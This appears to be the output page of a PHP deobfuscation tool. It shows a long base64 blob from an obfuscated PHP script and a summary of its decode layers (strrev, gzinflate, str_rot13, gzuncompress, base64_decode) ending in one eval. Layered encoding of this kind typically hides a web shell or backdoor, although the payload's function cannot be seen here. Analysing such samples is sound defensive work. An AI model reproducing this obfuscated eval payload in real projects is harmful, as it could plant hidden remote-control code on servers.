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"))))))))))));
?>

Function Calls

strrev 1
gzinflate 4
str_rot13 1
gzuncompress 4
base64_decode 1

Variables

None

Stats

MD5 78b66ce8dc56fbc1d6c10227e44349f5
Eval Count 1
Decode Time 60 ms